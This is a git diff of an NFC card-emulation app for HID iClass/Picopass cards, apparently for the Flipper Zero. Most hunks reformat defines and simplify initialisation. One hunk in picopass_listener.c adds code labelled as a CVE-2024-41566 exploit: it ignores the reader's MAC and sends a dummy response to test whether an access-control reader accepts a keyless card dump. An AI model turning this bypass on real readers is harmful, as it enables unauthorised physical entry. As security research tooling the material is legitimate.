diff --git a/helpers/iclass_elite_dict.c b/helpers/iclass_elite_dict.c index f74f515f796..60998157c22 100644 --- a/helpers/iclass_elite_dict.c +++ b/helpers/iclass_elite_dict.c @@ -3,14 +3,14 @@ #include #include -#define ICLASS_ELITE_DICT_FLIPPER_NAME APP_ASSETS_PATH("iclass_elite_dict.txt") +#define ICLASS_ELITE_DICT_FLIPPER_NAME APP_ASSETS_PATH("iclass_elite_dict.txt") #define ICLASS_STANDARD_DICT_FLIPPER_NAME APP_ASSETS_PATH("iclass_standard_dict.txt") -#define ICLASS_ELITE_DICT_USER_NAME APP_DATA_PATH("assets/iclass_elite_dict_user.txt") +#define ICLASS_ELITE_DICT_USER_NAME APP_DATA_PATH("assets/iclass_elite_dict_user.txt") #define TAG "IclassEliteDict" #define ICLASS_ELITE_KEY_LINE_LEN (17) -#define ICLASS_ELITE_KEY_LEN (8) +#define ICLASS_ELITE_KEY_LEN (8) struct IclassEliteDict { Stream* stream; diff --git a/picopass_device.c b/picopass_device.c index 42b5012c0bc..6a67691a16a 100644 --- a/picopass_device.c +++ b/picopass_device.c @@ -20,17 +20,7 @@ const char unknown_block[] = "?? ?? ?? ?? ?? ?? ?? ??"; PicopassDevice* picopass_device_alloc() { PicopassDevice* picopass_dev = malloc(sizeof(PicopassDevice)); - picopass_dev->dev_data.auth = PicopassDeviceAuthMethodUnset; - picopass_dev->dev_data.pacs.legacy = false; - picopass_dev->dev_data.pacs.se_enabled = false; - picopass_dev->dev_data.pacs.sio = false; - picopass_dev->dev_data.pacs.biometrics = false; - memset(picopass_dev->dev_data.pacs.key, 0, sizeof(picopass_dev->dev_data.pacs.key)); - picopass_dev->dev_data.pacs.elite_kdf = false; - picopass_dev->dev_data.pacs.pin_length = 0; - picopass_dev->dev_data.pacs.bitLength = 0; - memset( - picopass_dev->dev_data.pacs.credential, 0, sizeof(picopass_dev->dev_data.pacs.credential)); + memset(picopass_dev, 0, sizeof(PicopassDevice)); picopass_dev->storage = furi_record_open(RECORD_STORAGE); picopass_dev->dialogs = furi_record_open(RECORD_DIALOGS); picopass_dev->load_path = furi_string_alloc(); @@ -176,12 +166,6 @@ static bool picopass_device_save_file( FuriString* temp_str; temp_str = furi_string_alloc(); - if(dev->format == PicopassDeviceSaveFormatPartial) { - // Clear key that may have been set when doing key tests for legacy - memset(card_data[PICOPASS_SECURE_KD_BLOCK_INDEX].data, 0, PICOPASS_BLOCK_LEN); - card_data[PICOPASS_SECURE_KD_BLOCK_INDEX].valid = false; - } - do { if(use_load_path && !furi_string_empty(dev->load_path)) { // Get directory name diff --git a/picopass_device.h b/picopass_device.h index ea0ec6c911e..eef7e367f03 100644 --- a/picopass_device.h +++ b/picopass_device.h @@ -19,35 +19,35 @@ #endif #define LOCLASS_MACS_TO_COLLECT (LOCLASS_NUM_CSNS * LOCLASS_NUM_PER_CSN) -#define PICOPASS_DEV_NAME_MAX_LEN 129 +#define PICOPASS_DEV_NAME_MAX_LEN 129 #define PICOPASS_READER_DATA_MAX_SIZE 64 -#define PICOPASS_MAX_APP_LIMIT 32 +#define PICOPASS_MAX_APP_LIMIT 32 -#define PICOPASS_CSN_BLOCK_INDEX 0 -#define PICOPASS_CONFIG_BLOCK_INDEX 1 +#define PICOPASS_CSN_BLOCK_INDEX 0 +#define PICOPASS_CONFIG_BLOCK_INDEX 1 // These definitions for blocks above 2 only hold for secure cards. -#define PICOPASS_SECURE_EPURSE_BLOCK_INDEX 2 -#define PICOPASS_SECURE_KD_BLOCK_INDEX 3 -#define PICOPASS_SECURE_KC_BLOCK_INDEX 4 -#define PICOPASS_SECURE_AIA_BLOCK_INDEX 5 +#define PICOPASS_SECURE_EPURSE_BLOCK_INDEX 2 +#define PICOPASS_SECURE_KD_BLOCK_INDEX 3 +#define PICOPASS_SECURE_KC_BLOCK_INDEX 4 +#define PICOPASS_SECURE_AIA_BLOCK_INDEX 5 // Non-secure cards instead have an AIA at block 2 -#define PICOPASS_NONSECURE_AIA_BLOCK_INDEX 2 +#define PICOPASS_NONSECURE_AIA_BLOCK_INDEX 2 // Only iClass cards #define PICOPASS_ICLASS_PACS_CFG_BLOCK_INDEX 6 // Personalization Mode -#define PICOPASS_FUSE_PERS 0x80 +#define PICOPASS_FUSE_PERS 0x80 // Crypt1 // 1+1 (crypt1+crypt0) means secured and keys changable -#define PICOPASS_FUSE_CRYPT1 0x10 +#define PICOPASS_FUSE_CRYPT1 0x10 // Crypt0 // 1+0 means secure and keys locked, 0+1 means not secured, 0+0 means disable auth entirely -#define PICOPASS_FUSE_CRYPT0 0x08 +#define PICOPASS_FUSE_CRYPT0 0x08 #define PICOPASS_FUSE_CRYPT10 (PICOPASS_FUSE_CRYPT1 | PICOPASS_FUSE_CRYPT0) // Read Access, 1 meanns anonymous read enabled, 0 means must auth to read applicaion -#define PICOPASS_FUSE_RA 0x01 +#define PICOPASS_FUSE_RA 0x01 -#define PICOPASS_APP_FOLDER ANY_PATH("picopass") -#define PICOPASS_APP_EXTENSION ".picopass" -#define PICOPASS_APP_FILE_PREFIX "Picopass" +#define PICOPASS_APP_FOLDER ANY_PATH("picopass") +#define PICOPASS_APP_EXTENSION ".picopass" +#define PICOPASS_APP_FILE_PREFIX "Picopass" #define PICOPASS_APP_SHADOW_EXTENSION ".pas" #define PICOPASS_DICT_KEY_BATCH_SIZE 10 diff --git a/picopass_i.h b/picopass_i.h index 0dd687dc170..f3479467fcb 100644 --- a/picopass_i.h +++ b/picopass_i.h @@ -41,9 +41,9 @@ #define PICOPASS_TEXT_STORE_SIZE 129 -#define PICOPASS_ICLASS_ELITE_DICT_FLIPPER_NAME APP_ASSETS_PATH("iclass_elite_dict.txt") +#define PICOPASS_ICLASS_ELITE_DICT_FLIPPER_NAME APP_ASSETS_PATH("iclass_elite_dict.txt") #define PICOPASS_ICLASS_STANDARD_DICT_FLIPPER_NAME APP_ASSETS_PATH("iclass_standard_dict.txt") -#define PICOPASS_ICLASS_ELITE_DICT_USER_NAME APP_DATA_PATH("assets/iclass_elite_dict_user.txt") +#define PICOPASS_ICLASS_ELITE_DICT_USER_NAME APP_DATA_PATH("assets/iclass_elite_dict_user.txt") enum PicopassCustomEvent { // Reserve first 100 events for button types and indexes, starting from 0 diff --git a/protocol/picopass_listener.c b/protocol/picopass_listener.c index 1a91a9c681c..b9cd0c6e1f7 100644 --- a/protocol/picopass_listener.c +++ b/protocol/picopass_listener.c @@ -375,20 +375,20 @@ PicopassListenerCommand PICOPASS_FUSE_CRYPT10) != PICOPASS_FUSE_CRYPT0; if(!secured) break; - uint8_t rmac[4] = {}; - uint8_t tmac[4] = {}; const uint8_t* key = instance->data->card_data[instance->key_block_num].data; - bool no_key = !instance->data->card_data[instance->key_block_num].valid; + bool have_key = instance->data->card_data[instance->key_block_num].valid; + bool no_data = !instance->data->card_data[PICOPASS_ICLASS_PACS_CFG_BLOCK_INDEX].valid; const uint8_t* rx_data = bit_buffer_get_data(buf); - if(no_key) { - // We're emulating a partial dump of an iClass SE card and should capture the NR and MAC + if(no_data) { + // We're missing at least the first data block, save MACs for NR-MAC replay. command = picopass_listener_save_mac(instance, rx_data); break; - } else { + } else if(have_key) { + uint8_t rmac[4] = {}; + uint8_t tmac[4] = {}; loclass_opt_doBothMAC_2(instance->cipher_state, &rx_data[1], rmac, tmac, key); -#ifndef PICOPASS_DEBUG_IGNORE_BAD_RMAC if(memcmp(&rx_data[5], rmac, PICOPASS_MAC_LEN)) { // Bad MAC from reader, do not send a response. FURI_LOG_I(TAG, "Got bad MAC from reader"); @@ -396,7 +396,6 @@ PicopassListenerCommand picopass_listener_init_cipher_state(instance); break; } -#endif bit_buffer_copy_bytes(instance->tx_buffer, tmac, sizeof(tmac)); NfcError error = nfc_listener_tx(instance->nfc, instance->tx_buffer); @@ -404,6 +403,18 @@ PicopassListenerCommand FURI_LOG_D(TAG, "Failed tx update response: %d", error); break; } + } else { + // CVE-2024-41566 Exploit: The dump has no key, ignore the reader mac + // and a dummy response to see if the reader accepts it anyway + bit_buffer_reset(instance->tx_buffer); + for(size_t j = 0; j < 4; j++) { + bit_buffer_append_byte(instance->tx_buffer, 0xff); + } + NfcError error = nfc_listener_tx(instance->nfc, instance->tx_buffer); + if(error != NfcErrorNone) { + FURI_LOG_D(TAG, "Failed tx update response: %d", error); + break; + } } command = PicopassListenerCommandProcessed; diff --git a/protocol/picopass_poller.c b/protocol/picopass_poller.c index 0e599c65838..97cdf4f1a42 100644 --- a/protocol/picopass_poller.c +++ b/protocol/picopass_poller.c @@ -313,15 +313,6 @@ NfcCommand picopass_poller_nr_mac_auth(PicopassPoller* instance) { if(instance->mode == PicopassPollerModeRead) { picopass_poller_prepare_read(instance); instance->state = PicopassPollerStateReadBlock; - // Set to non-zero keys to allow emulation - memset( - instance->data->card_data[PICOPASS_SECURE_KD_BLOCK_INDEX].data, - 0xff, - PICOPASS_BLOCK_LEN); - memset( - instance->data->card_data[PICOPASS_SECURE_KC_BLOCK_INDEX].data, - 0xff, - PICOPASS_BLOCK_LEN); } } @@ -431,9 +422,12 @@ NfcCommand picopass_poller_read_block_handler(PicopassPoller* instance) { break; } - if(instance->secured && instance->current_block == PICOPASS_SECURE_KD_BLOCK_INDEX) { - // Skip over Kd block which is populated earlier (READ of Kd returns all FF's) + if(instance->secured && (instance->current_block == PICOPASS_SECURE_KD_BLOCK_INDEX || + instance->current_block == PICOPASS_SECURE_KC_BLOCK_INDEX)) { + // Kd and Kc blocks cannot be read (card always returns FF's) + // Key blocks we authed as would have been already set earlier instance->current_block++; + continue; } PicopassBlock block = {}; diff --git a/protocol/picopass_poller_i.h b/protocol/picopass_poller_i.h index 69b42cd8950..64f7c99b051 100644 --- a/protocol/picopass_poller_i.h +++ b/protocol/picopass_poller_i.h @@ -6,7 +6,7 @@ #include #define PICOPASS_POLLER_BUFFER_SIZE (255) -#define PICOPASS_CRC_SIZE (2) +#define PICOPASS_CRC_SIZE (2) typedef enum { PicopassPollerSessionStateIdle, diff --git a/protocol/picopass_protocol.h b/protocol/picopass_protocol.h index 62762cdbdb3..50180b697b7 100644 --- a/protocol/picopass_protocol.h +++ b/protocol/picopass_protocol.h @@ -2,13 +2,13 @@ #include "../picopass_device.h" -#define PICOPASS_BLOCK_LEN 8 -#define PICOPASS_MAX_APP_LIMIT 32 -#define PICOPASS_UID_LEN 8 +#define PICOPASS_BLOCK_LEN 8 +#define PICOPASS_MAX_APP_LIMIT 32 +#define PICOPASS_UID_LEN 8 #define PICOPASS_READ_CHECK_RESP_LEN 8 -#define PICOPASS_CHECK_RESP_LEN 4 -#define PICOPASS_MAC_LEN 4 -#define PICOPASS_KEY_LEN 8 +#define PICOPASS_CHECK_RESP_LEN 4 +#define PICOPASS_MAC_LEN 4 +#define PICOPASS_KEY_LEN 8 #define PICOPASS_FDT_LISTEN_FC (1000) diff --git a/rfal_picopass.h b/rfal_picopass.h index 9dd0cbf5195..22c103b586f 100644 --- a/rfal_picopass.h +++ b/rfal_picopass.h @@ -3,7 +3,7 @@ #include #define RFAL_PICOPASS_UID_LEN 8 -#define PICOPASS_BLOCK_LEN 8 +#define PICOPASS_BLOCK_LEN 8 enum { // PicoPass command bytes: diff --git a/scenes/picopass_scene_elite_keygen_attack.c b/scenes/picopass_scene_elite_keygen_attack.c index fd5e5f6ea72..dfb884d00af 100644 --- a/scenes/picopass_scene_elite_keygen_attack.c +++ b/scenes/picopass_scene_elite_keygen_attack.c @@ -3,7 +3,7 @@ #include "../picopass_elite_keygen.h" #define PICOPASS_SCENE_DICT_ATTACK_KEYS_BATCH_UPDATE (10) -#define PICOPASS_SCENE_ELITE_KEYGEN_ATTACK_LIMIT (2000) +#define PICOPASS_SCENE_ELITE_KEYGEN_ATTACK_LIMIT (2000) NfcCommand picopass_elite_keygen_attack_worker_callback(PicopassPollerEvent event, void* context) { furi_assert(context); diff --git a/scenes/picopass_scene_write_card.c b/scenes/picopass_scene_write_card.c index 25c74c943c0..b2b84e9907d 100644 --- a/scenes/picopass_scene_write_card.c +++ b/scenes/picopass_scene_write_card.c @@ -3,7 +3,7 @@ #include "../picopass_keys.h" #define PICOPASS_SCENE_WRITE_BLOCK_START 6 -#define PICOPASS_SCENE_WRITE_BLOCK_STOP 10 +#define PICOPASS_SCENE_WRITE_BLOCK_STOP 10 NfcCommand picopass_scene_write_poller_callback(PicopassPollerEvent event, void* context) { Picopass* picopass = context;